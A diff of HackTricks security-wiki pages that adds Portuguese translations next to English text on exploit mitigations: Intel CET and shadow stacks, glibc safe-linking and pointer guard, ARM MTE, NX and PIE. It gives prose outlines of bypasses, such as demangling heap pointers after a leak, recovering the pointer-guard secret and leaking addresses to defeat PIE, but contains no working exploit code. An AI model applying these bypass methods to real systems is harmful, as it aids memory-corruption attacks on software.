- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
- **IBT** garante que saltos e chamadas indiretas sejam feitos para alvos válidos, que são marcados explicitamente como destinos legais para ramificações indiretas. Isso é alcançado através do uso de um novo conjunto de instruções que marca alvos válidos, impedindo assim que atacantes desviem o fluxo de controle para locais arbitrários.
- **Shadow Stack** é um mecanismo que fornece integridade para endereços de retorno. Ele mantém uma cópia segura e oculta dos endereços de retorno separada da pilha de chamadas regular. Quando uma função retorna, o endereço de retorno é validado em relação ao shadow stack, impedindo que atacantes sobrescrevam endereços de retorno na pilha para sequestrar o fluxo de controle.
## Shadow Stack
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
O **shadow stack** é uma **pilha dedicada usada exclusivamente para armazenar endereços de retorno**. Ele funciona ao lado da pilha regular, mas é protegido e oculto da execução normal do programa, tornando difícil para os atacantes interferirem. O objetivo principal do shadow stack é garantir que quaisquer modificações aos endereços de retorno na pilha convencional sejam detectadas antes que possam ser usadas, mitigando efetivamente os ataques ROP.
## How CET and Shadow Stack Prevent Attacks
## Como CET e Shadow Stack Previnem Ataques
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
**Ataques ROP e JOP** dependem da capacidade de sequestrar o fluxo de controle de uma aplicação aproveitando vulnerabilidades que permitem sobrescrever ponteiros ou endereços de retorno na pilha. Ao direcionar o fluxo para sequências de gadgets de código existentes ou gadgets de programação orientada a retorno, os atacantes podem executar código arbitrário.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
- O recurso **IBT** do CET torna esses ataques significativamente mais difíceis, garantindo que ramificações indiretas só possam saltar para endereços que foram explicitamente marcados como alvos válidos. Isso torna impossível para os atacantes executarem gadgets arbitrários espalhados pelo binário.
- O **shadow stack**, por outro lado, garante que mesmo que um atacante consiga sobrescrever um endereço de retorno na pilha normal, a **discrepância será detectada** ao comparar o endereço corrompido com a cópia segura armazenada no shadow stack ao retornar de uma função. Se os endereços não coincidirem, o programa pode ser encerrado ou tomar outras medidas de segurança, impedindo que o ataque tenha sucesso.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,82 +1,82 @@
# Libc Protections
# Proteções Libc
{{#include ../../banners/hacktricks-training.md}}
## Chunk Alignment Enforcement
## Aplicação de Alinhamento de Chunk
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
**Malloc** aloca memória em **agrupamentos de 8 bytes (32 bits) ou 16 bytes (64 bits)**. Isso significa que o final dos chunks em sistemas de 32 bits deve alinhar com **0x8**, e em sistemas de 64 bits com **0x0**. O recurso de segurança verifica se cada chunk **alinha corretamente** nesses locais específicos antes de usar um ponteiro de um bin.
### Security Benefits
### Benefícios de Segurança
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
A aplicação de alinhamento de chunk em sistemas de 64 bits melhora significativamente a segurança do Malloc ao **limitar a colocação de chunks falsos a apenas 1 em cada 16 endereços**. Isso complica os esforços de exploração, especialmente em cenários onde o usuário tem controle limitado sobre os valores de entrada, tornando os ataques mais complexos e difíceis de executar com sucesso.
- **Fastbin Attack on \_\_malloc_hook**
- **Ataque Fastbin em \_\_malloc_hook**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
As novas regras de alinhamento no Malloc também frustram um ataque clássico envolvendo o `__malloc_hook`. Anteriormente, os atacantes podiam manipular tamanhos de chunks para **sobrescrever este ponteiro de função** e obter **execução de código**. Agora, a exigência de alinhamento rigoroso garante que tais manipulações não sejam mais viáveis, fechando uma rota comum de exploração e aumentando a segurança geral.
## Pointer Mangling on fastbins and tcache
## Mistura de Ponteiros em fastbins e tcache
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
**Mistura de Ponteiros** é uma melhoria de segurança usada para proteger **ponteiros Fd de fastbin e tcache** em operações de gerenciamento de memória. Esta técnica ajuda a prevenir certos tipos de táticas de exploração de memória, especificamente aquelas que não requerem informações de memória vazadas ou que manipulam locais de memória diretamente em relação a posições conhecidas (sobrescritas **relativas**).
The core of this technique is an obfuscation formula:
O núcleo desta técnica é uma fórmula de ofuscação:
**`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer.
- **P** is the actual **fastbin/tcache Fd Pointer**.
- **L** é a **Localização de Armazenamento** do ponteiro.
- **P** é o **Ponteiro Fd de fastbin/tcache**.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
A razão para o deslocamento bit a bit da localização de armazenamento (L) por 12 bits para a direita antes da operação XOR é crítica. Essa manipulação aborda uma vulnerabilidade inerente à natureza determinística dos 12 bits menos significativos dos endereços de memória, que são tipicamente previsíveis devido a restrições da arquitetura do sistema. Ao deslocar os bits, a parte previsível é removida da equação, aumentando a aleatoriedade do novo ponteiro misturado e, assim, protegendo contra explorações que dependem da previsibilidade desses bits.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
Este ponteiro misturado aproveita a aleatoriedade existente fornecida pela **Randomização de Layout de Espaço de Endereços (ASLR)**, que randomiza endereços usados por programas para dificultar a previsão do layout de memória de um processo pelos atacantes.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
**Desmisturar** o ponteiro para recuperar o endereço original envolve usar a mesma operação XOR. Aqui, o ponteiro misturado é tratado como P na fórmula, e quando XORado com a localização de armazenamento inalterada (L), resulta na revelação do ponteiro original. Essa simetria na mistura e desmistura garante que o sistema possa codificar e decodificar ponteiros de forma eficiente, sem sobrecarga significativa, enquanto aumenta substancialmente a segurança contra ataques que manipulam ponteiros de memória.
### Security Benefits
### Benefícios de Segurança
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
A mistura de ponteiros visa **prevenir sobrescritas parciais e totais de ponteiros na heap**, uma melhoria significativa em segurança. Este recurso impacta técnicas de exploração de várias maneiras:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
1. **Prevenção de Sobrescritas Relativas Byte a Byte**: Anteriormente, os atacantes podiam alterar parte de um ponteiro para **redirecionar chunks da heap para diferentes locais sem conhecer endereços exatos**, uma técnica evidente na exploração **House of Roman** sem vazamento. Com a mistura de ponteiros, tais sobrescritas relativas **sem um vazamento da heap agora requerem força bruta**, reduzindo drasticamente a probabilidade de sucesso.
2. **Aumento da Dificuldade de Ataques em Tcache Bin/Fastbin**: Ataques comuns que sobrescrevem ponteiros de função (como `__malloc_hook`) manipulando entradas de fastbin ou tcache são dificultados. Por exemplo, um ataque pode envolver vazar um endereço da LibC, liberar um chunk no bin tcache e, em seguida, sobrescrever o ponteiro Fd para redirecioná-lo para `__malloc_hook` para execução de código arbitrário. Com a mistura de ponteiros, esses ponteiros devem ser corretamente misturados, **necessitando de um vazamento da heap para manipulação precisa**, elevando assim a barreira de exploração.
3. **Exigência de Vazamentos da Heap em Locais Não Heap**: Criar um chunk falso em áreas não heap (como a pilha, seção .bss ou PLT/GOT) agora também **requer um vazamento da heap** devido à necessidade de mistura de ponteiros. Isso estende a complexidade de explorar essas áreas, semelhante à exigência de manipular endereços da LibC.
4. **Vazar Endereços da Heap Torna-se Mais Desafiador**: A mistura de ponteiros restringe a utilidade dos ponteiros Fd em fastbin e tcache como fontes para vazamentos de endereços da heap. No entanto, ponteiros em bins não ordenados, pequenos e grandes permanecem não misturados, portanto ainda utilizáveis para vazamentos de endereços. Essa mudança empurra os atacantes a explorar esses bins em busca de informações exploráveis, embora algumas técnicas ainda possam permitir a desmistura de ponteiros antes de um vazamento, embora com restrições.
### **Demangling Pointers with a Heap Leak**
### **Desmisturando Ponteiros com um Vazamento da Heap**
> [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
> Para uma melhor explicação do processo [**verifique o post original aqui**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview
### Visão Geral do Algoritmo
The formula used for mangling and demangling pointers is:&#x20;
A fórmula usada para misturar e desmisturar ponteiros é:&#x20;
**`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
Onde **L** é a localização de armazenamento e **P** é o ponteiro Fd. Quando **L** é deslocado para a direita por 12 bits, expõe os bits mais significativos de **P**, devido à natureza do **XOR**, que produz 0 quando os bits são XORados consigo mesmos.
**Key Steps in the Algorithm:**
**Passos Chave no Algoritmo:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
1. **Vazamento Inicial dos Bits Mais Significativos**: Ao XORar o **L** deslocado com **P**, você efetivamente obtém os 12 bits superiores de **P** porque a parte deslocada de **L** será zero, deixando os bits correspondentes de **P** inalterados.
2. **Recuperação dos Bits do Ponteiro**: Como o XOR é reversível, conhecer o resultado e um dos operandos permite que você calcule o outro operando. Essa propriedade é usada para deduzir todo o conjunto de bits para **P** ao XORar sucessivamente conjuntos conhecidos de bits com partes do ponteiro misturado.
3. **Desmistura Iterativa**: O processo é repetido, cada vez usando os bits recém-descobertos de **P** do passo anterior para decodificar o próximo segmento do ponteiro misturado, até que todos os bits sejam recuperados.
4. **Tratamento de Bits Determinísticos**: Os últimos 12 bits de **L** são perdidos devido ao deslocamento, mas são determinísticos e podem ser reconstruídos após o processo.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
Você pode encontrar uma implementação deste algoritmo aqui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
## Guarda de Ponteiro
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
A guarda de ponteiro é uma técnica de mitigação de exploração usada no glibc para proteger ponteiros de função armazenados, particularmente aqueles registrados por chamadas de biblioteca como `atexit()`. Essa proteção envolve embaralhar os ponteiros XORando-os com um segredo armazenado nos dados da thread (`fs:0x30`) e aplicando uma rotação bit a bit. Este mecanismo visa impedir que atacantes sequestram o fluxo de controle sobrescrevendo ponteiros de função.
### **Bypassing Pointer Guard with a leak**
### **Contornando a Guarda de Ponteiro com um vazamento**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
3. **Exploiting Known Plaintexts:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
1. **Entendendo as Operações da Guarda de Ponteiro:** O embaralhamento (mistura) de ponteiros é feito usando o macro `PTR_MANGLE`, que XORa o ponteiro com um segredo de 64 bits e, em seguida, realiza uma rotação à esquerda de 0x11 bits. A operação reversa para recuperar o ponteiro original é tratada por `PTR_DEMANGLE`.
2. **Estratégia de Ataque:** O ataque é baseado em uma abordagem de texto conhecido, onde o atacante precisa conhecer tanto as versões original quanto misturada de um ponteiro para deduzir o segredo usado para a mistura.
3. **Explorando Textos Conhecidos:**
- **Identificando Ponteiros de Função Fixos:** Ao examinar o código-fonte do glibc ou tabelas de ponteiros de função inicializadas (como `__libc_pthread_functions`), um atacante pode encontrar ponteiros de função previsíveis.
- **Calculando o Segredo:** Usando um ponteiro de função conhecido, como `__pthread_attr_destroy`, e sua versão misturada da tabela de ponteiros de função, o segredo pode ser calculado revertendo a rotação (rotação à direita) do ponteiro misturado e, em seguida, XORando-o com o endereço da função.
4. **Textos Alternativos:** O atacante também pode experimentar misturar ponteiros com valores conhecidos, como 0 ou -1, para ver se esses produzem padrões identificáveis na memória, potencialmente revelando o segredo quando esses padrões são encontrados em dumps de memória.
5. **Aplicação Prática:** Após calcular o segredo, um atacante pode manipular ponteiros de maneira controlada, essencialmente contornando a proteção da Guarda de Ponteiro em uma aplicação multithreaded com conhecimento do endereço base da libc e a capacidade de ler locais de memória arbitrários.
## References
## Referências
- [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088)
- [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1)

View File

@ -2,82 +2,80 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
**Memory Tagging Extension (MTE)** é projetado para aumentar a confiabilidade e segurança do software, **detectando e prevenindo erros relacionados à memória**, como estouros de buffer e vulnerabilidades de uso após a liberação. MTE, como parte da **arquitetura ARM**, fornece um mecanismo para anexar um **pequeno tag a cada alocação de memória** e um **tag correspondente a cada ponteiro** que referencia essa memória. Essa abordagem permite a detecção de acessos ilegais à memória em tempo de execução, reduzindo significativamente o risco de explorar tais vulnerabilidades para executar código arbitrário.
### **How Memory Tagging Extension Works**
### **Como Funciona a Memory Tagging Extension**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20;
MTE opera **dividindo a memória em pequenos blocos de tamanho fixo, com cada bloco atribuído a um tag,** tipicamente de alguns bits de tamanho.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
Quando um ponteiro é criado para apontar para essa memória, ele recebe o mesmo tag. Esse tag é armazenado nos **bits não utilizados de um ponteiro de memória**, efetivamente vinculando o ponteiro ao seu bloco de memória correspondente.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
Quando um programa acessa a memória através de um ponteiro, o hardware MTE verifica se o **tag do ponteiro corresponde ao tag do bloco de memória**. Se os tags **não corresponderem**, isso indica um **acesso ilegal à memória.**
### MTE Pointer Tags
### Tags de Ponteiro MTE
Tags inside a pointer are stored in 4 bits inside the top byte:
Tags dentro de um ponteiro são armazenadas em 4 bits dentro do byte superior:
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**.
Portanto, isso permite até **16 valores de tag diferentes**.
### MTE Memory Tags
### Tags de Memória MTE
Every **16B of physical memory** have a corresponding **memory tag**.
Cada **16B de memória física** tem um **tag de memória** correspondente.
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
Os tags de memória são armazenados em uma **região de RAM dedicada** (não acessível para uso normal). Tendo tags de 4 bits para cada 16B de tags de memória, até 3% da RAM.
A ARM introduz as seguintes instruções para manipular esses tags na memória RAM dedicada:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Checking Modes
## Verificando Modos
### Sync
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
This is the slowest and most secure.
A CPU verifica as tags **durante a execução da instrução**, se houver uma incompatibilidade, ela gera uma exceção.\
Este é o mais lento e mais seguro.
### Async
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
A CPU verifica as tags **assíncronamente**, e quando uma incompatibilidade é encontrada, ela define um bit de exceção em um dos registradores do sistema. É **mais rápido** do que o anterior, mas é **incapaz de apontar** a instrução exata que causou a incompatibilidade e não gera a exceção imediatamente, dando algum tempo ao atacante para completar seu ataque.
### Mixed
???
## Implementation & Detection Examples
## Exemplos de Implementação e Detecção
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
Chamado de KASAN baseado em Tag de Hardware, KASAN baseado em MTE ou MTE em kernel.\
Os alocadores do kernel (como `kmalloc`) **chamarão este módulo** que preparará a tag para usar (aleatoriamente) anexá-la ao espaço do kernel alocado e ao ponteiro retornado.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
Note que ele **marcará apenas grânulos de memória suficientes** (16B cada) para o tamanho solicitado. Portanto, se o tamanho solicitado foi 35 e um bloco de 60B foi dado, ele marcará os primeiros 16\*3 = 48B com esta tag e o **restante** será **marcado** com uma chamada de **tag inválida (0xE)**.
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
A tag **0xF** é o **ponteiro que combina com todos**. Uma memória com este ponteiro permite que **qualquer tag seja usada** para acessar sua memória (sem incompatibilidades). Isso poderia impedir que o MET detectasse um ataque se essas tags estiverem sendo usadas na memória atacada.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
Portanto, existem apenas **14 valores** que podem ser usados para gerar tags, pois 0xE e 0xF são reservados, dando uma probabilidade de **reutilização de tags** de 1/17 -> cerca de **7%**.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
Se o kernel acessar o **grânulo de tag inválida**, a **incompatibilidade** será **detectada**. Se acessar outro local de memória, se a **memória tiver uma tag diferente** (ou a tag inválida), a incompatibilidade será **detectada**. Se o atacante tiver sorte e a memória estiver usando a mesma tag, não será detectada. As chances são em torno de 7%.
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
Outro bug ocorre no **último grânulo** da memória alocada. Se a aplicação solicitou 35B, foi dado o grânulo de 32 a 48. Portanto, os **bytes de 36 a 47 estão usando a mesma tag** mas não foram solicitados. Se o atacante acessar **esses bytes extras, isso não é detectado**.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
Quando **`kfree()`** é executado, a memória é retagged com a tag de memória inválida, então em um **use-after-free**, quando a memória é acessada novamente, a **incompatibilidade é detectada**.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
No entanto, em um use-after-free, se o mesmo **chunk for realocado novamente com a MESMA tag** que anteriormente, um atacante poderá usar esse acesso e isso não será detectado (cerca de 7% de chance).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
Além disso, apenas **`slab` e `page_alloc`** usam memória marcada, mas no futuro isso também será usado em `vmalloc`, `stack` e `globals` (no momento do vídeo, esses ainda podem ser abusados).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
Quando uma **incompatibilidade é detectada**, o kernel irá **panic** para evitar mais exploração e tentativas do exploit (MTE não tem falsos positivos).
## References
## Referências
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
O **bit No-Execute (NX)**, também conhecido como **Execute Disable (XD)** na terminologia da Intel, é um recurso de segurança baseado em hardware projetado para **mitigar** os efeitos de ataques de **buffer overflow**. Quando implementado e habilitado, ele distingue entre regiões de memória que são destinadas a **código executável** e aquelas destinadas a **dados**, como a **pilha** e o **heap**. A ideia central é impedir que um atacante execute código malicioso através de vulnerabilidades de buffer overflow, colocando o código malicioso na pilha, por exemplo, e direcionando o fluxo de execução para ele.
## Bypasses
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
- É possível usar técnicas como [**ROP**](../rop-return-oriented-programing/) **para contornar** essa proteção executando pedaços de código executável já presentes no binário.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informações Básicas
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
Um binário compilado como PIE, ou **Executável Independente de Posição**, significa que o **programa pode ser carregado em diferentes locais de memória** cada vez que é executado, prevenindo endereços codificados.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
O truque para explorar esses binários está em explorar os **endereços relativos**—os deslocamentos entre partes do programa permanecem os mesmos, mesmo que as localizações absolutas mudem. Para **burlar o PIE, você só precisa vazar um endereço**, tipicamente da **pilha** usando vulnerabilidades como ataques de string de formato. Uma vez que você tenha um endereço, pode calcular outros por seus **deslocamentos fixos**.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
Uma dica útil na exploração de binários PIE é que seu **endereço base normalmente termina em 000** devido às páginas de memória serem as unidades de randomização, com tamanho de 0x1000 bytes. Este alinhamento pode ser uma **verificação crítica se um exploit não está funcionando** como esperado, indicando se o endereço base correto foi identificado.\
Ou você pode usar isso para seu exploit, se você vazar que um endereço está localizado em **`0x649e1024`** você sabe que o **endereço base é `0x649e1000`** e a partir daí você pode apenas **calcular deslocamentos** de funções e locais.
## Bypasses
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
Para burlar o PIE, é necessário **vazar algum endereço do binário carregado**, existem algumas opções para isso:
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
- **ASLR desativado**: Se o ASLR estiver desativado, um binário compilado com PIE sempre **será carregado no mesmo endereço**, portanto **o PIE será inútil** já que os endereços dos objetos sempre estarão no mesmo lugar.
- Ser **dado** o vazamento (comum em desafios fáceis de CTF, [**ver este exemplo**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Forçar valores de EBP e EIP** na pilha até que você vaze os corretos:
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Usar uma vulnerabilidade de **leitura arbitrária** como [**string de formato**](../../format-strings/) para vazar um endereço do binário (por exemplo, da pilha, como na técnica anterior) para obter a base do binário e usar deslocamentos a partir daí. [**Encontre um exemplo aqui**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
## Referências
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -1,56 +1,55 @@
# BF Addresses in the Stack
# Endereços BF na Pilha
{{#include ../../../banners/hacktricks-training.md}}
